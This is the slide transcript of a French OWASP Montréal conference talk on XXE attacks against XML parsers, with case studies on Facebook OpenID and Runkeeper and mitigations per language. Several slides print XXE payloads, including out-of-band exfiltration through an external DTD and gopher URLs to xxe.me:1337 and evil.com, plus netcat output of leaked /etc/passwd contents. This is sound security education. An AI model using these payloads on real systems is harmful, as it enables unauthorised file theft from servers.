Upgrade to Pro — share decks privately, control downloads, hide ads and more …

XXE : À l’assaut des analyseurs XML par Philippe Arteau

XXE : À l’assaut des analyseurs XML par Philippe Arteau

OWASP Montréal - 23 Octobre - XXE : À l’assaut des analyseurs XML

PRÉSENTATEUR PRINCIPAL: Philippe Arteau

RÉSUMÉ: L'utilisation d’XML est fortement répandue. Le format est utilisé pour des fichiers de configuration, pour des métadonnées, pour des documents textes, et bien plus. La prise en charge de fichiers XML n’est pas sans risque. La plupart des analyseurs XML ne sont pas sécuritaires par défaut pour le traitement de fichier externe. Cette présentation fera un survol des vulnérabilités de type « Xml eXternal Entity » et de l’étendue des risques pour différents langages de programmation. Plusieurs démonstrations sont prévues.

BIO: Philippe est conseiller en sécurité applicative pour le Groupe Technologies Desjardins. Au quotidien, il s’occupe d’effectuer des tests d’intrusions et des revues de code. Il a découvert des vulnérabilités importantes dans plusieurs logiciels populaires incluant Google Chrome, DropBox, ESAPI et Jira.

QUAND: 23 Octobre 2014 à 18h00

OÙ: École de Technologie Supérieure Local A-3230, 1100 Rue Notre-Dame Ouest, Montréal, QC H3C 1K3

PARTENAIRE ACADÉMIQUE: ETS - DCI http://dciets.com/

WEBCAST: https://www.youtube.com/watch?v=MZviLB9-42E

OWASP Montréal

October 23, 2014
Tweet

More Decks by OWASP Montréal

Other Decks in Technology

Transcript

  1. : À l'assaut des
    analyseurs XML
    Philippe Arteau // @h3xStream

    View Slide

  2. Expérience en sécurité

    View Slide

  3. Agenda
    ● Ingrédients
    ○ Entités XML
    ○ Entités SYSTEM
    ● Attaque
    ○ Scénario
    ○ Limitations
    ○ Astuces PHP / Java
    ● Études de cas
    ○ Facebook
    ○ Runkeeper
    ● Mitigations
    ○ Ruby/PHP/Python
    ○ Java/.NET
    XML

    View Slide

  4. Ingrédients
    XML

    View Slide

  5. Entité XML (HTML)
      é
    > &quote;
    &am
    p;

    View Slide

  6. Entité XML
    Sécurité
    Sécurité

    View Slide

  7. Entité XML

    ]>
    &prefix;a&prefix;b
    &prefix;c
    app1_aapp1_bapp1_c

    View Slide

  8. Entité SYSTEM

    ]>
    192.168.6.102&config;
    192.168.6.102
    http://a.com/b.wsdl false

    View Slide

  9. Scénario d’attaque
    XML

    View Slide

  10. Scénario d’attaque
    some data
    (SOAP, REST, SVG, DOCX,
    RSS, GPX, HTML, etc.)

    View Slide

  11. Scénario d’attaque
    ..
    &file;
    some data

    View Slide

  12. Scénario d’attaque
    [...]&file;
    data: root:!:0:0::/:/usr/bin/[...]

    View Slide

  13. Limitations
    Lecture de fichiers mais…
    if($user == ‘admin’ && $password == ‘Hackfest’)
    [...]
    I <3 Hackfest & NorthSec

    View Slide

  14. Démonstration 1
    Obtention d’un fichier (/etc/passwd)

    View Slide

  15. Astuce PHP
    Pseudo-procotole et encodage
    XML

    View Slide

  16. Pseudo-protocole PHP
    encode/resource=/config.php">
    ]>
    &xxe;
    PD9waHANCiRwYXNzd29yZCA9ICJZT0xPIjsNCj8+

    View Slide

  17. Démonstration 2
    Obtention de fichiers avec caractères
    spéciaux

    View Slide

  18. Astuce Java
    Exfiltration avec DTD externe et
    le protocol gopher
    XML

    View Slide

  19. Combinaison d’entité (Java)


    %dtd;]>
    &send;

    'gopher://xxe.me:1337/?%file;'>"> %all;

    View Slide

  20. Combinaison d’entité (Java)


    %dtd;]>
    &send;

    'gopher://xxe.me:1337/?%file;'>"> %all;

    View Slide

  21. Combinaison d’entité (Java)


    %dtd;]>
    &send;

    1337/?root:!:0:0::/:/usr/bin/[...]'>"> %all;

    View Slide

  22. Exfiltration de données avec DTD
    Démonstration 3

    View Slide

  23. Étude de cas #1
    Facebook OpenID

    View Slide

  24. 5. Autorisation
    3. Information
    Protocole OpenID
    4. Validation auth.
    6. Résultat
    1. Authentification
    2. Discovery

    View Slide

  25. Attaque effective (- Nov 2013)
    2. Discovery
    Référence: XXE in OpenID [...]
    1. Authentification
    GET /openid/receiver.php?[..]&
    openid.op_endpoint=https:
    //evil.com/id&[...]
    3. Information
    >
    ]>

    &xxe;
    [...]
    4. Résultat
    Endpoint mismatch. Expected "[...]"
    got "root:x:0:0:root:\/root:
    \/bin\/bash\n \
    bin:x:1:1:bin:\/bin:\/sbin\/nologin\n \
    daemon:x:2:2:daemon:\/sbin:
    \/sbin\/nologin

    View Slide

  26. Étude de cas #2
    Téléversement Runkeeper

    View Slide

  27. Téléversement de fichiers GPX
    2. Confirm
    ation
    1. Upload
    Fichier G
    PX

    View Slide

  28. XXE sur Runkeeper en action
    Démonstration 4

    View Slide

  29. 5. (retour)
    Téléversement de fichiers GPX
    2. http://[..]/evil.dtd
    Référence: XXE on Runkeeper [...]
    6. Confirm
    ation
    1. Upload
    Fichier G
    PX
    "file:///etc/passwd">
    "http://xxe.me/evil.dtd">
    %dtd;]>
    3. (retour)
    SYSTEM 'gopher://xxe.me:
    1337/xxe?%file;'>">
    %all;
    4. gopher://[..]/?FICHIER
    $ nc -nlvk 1337
    Listening on [0.0.0.0]
    Connection from [74.50.53.234]
    port 1337 [tcp/*] accepted
    root:x:0:0:root:/root:/bin/bash
    daemon:x:1:1:daemon:/usr/sbin:
    /bin/sh
    bin:x:2:2:bin:/bin:/bin/sh

    View Slide

  30. Mitigations

    View Slide

  31. Ruby
    ● REXML (utilisé par rails)
    ○ Mise à jour requise pour XEE (CVE-2014-8080)
    ● Plusieurs librairies vulnérables
    ○ nokogiri (issue 693)
    ○ OneLogin ruby-saml (issue 126)

    View Slide

  32. PHP
    ● libxml
    ○ Mise à jour requise PHP version >= 5.3.23
    ● Identification de cas à risque :
    $doc = simplexml_load_string($content, NULL, LIBXML_NOENT);

    View Slide

  33. Python
    ● xml.sax
    ● xml.dom.pulldom : Vulnérable au XXE
    Références:
    XXE attacks and disabling remote entity
    XML Vulnerabilities - python.org
    parser = xml.sax.make_parser()
    parser.setFeature(xml.sax.handler.feature_external_ges, 0)

    View Slide

  34. Java (SaxParser)
    ● Mise à jour de la JVM (protocole gopher)
    ● Paramètres requis
    Scanneur automatisé : FindBugs
    spf = SAXParserFactory.newInstance();
    spf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);

    View Slide

  35. .NET (System.XML)
    ● .NET 3.5
    ○ XmlReader sécuritaire par défault
    ○ XmlTextReader doit être configuré:
    ● .NET 4.0
    ○ Sécuritaire
    XmlTextReader reader = new XmlTextReader(stream);
    reader.ProhibitDtd = true;
    Référence : https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing#.NET

    View Slide

  36. Pour en savoir plus..
    Références

    View Slide

  37. Conférences sur le même sujet
    Attacking XML Preprocessing - Nicolas
    Grégoire
    What You Didn't Know About XML External
    Entities Attacks - Timothy Morgan
    XML Out-of-Band Data Retrieval - Alexey
    Osipov and Timur Yunusov

    View Slide

  38. Articles et papiers
    ● Identifying Xml eXternal Entity vulnerability
    (XXE) - Moi :)
    ● XML Data Retrieval - Alexey Osipov and
    Timur Yunusov
    ● XML Schema, DTD, and Entity Attacks -
    Timothy D. Morgan

    View Slide

  39. @h3xstream
    http://blog.h3xstream.com
    XML

    View Slide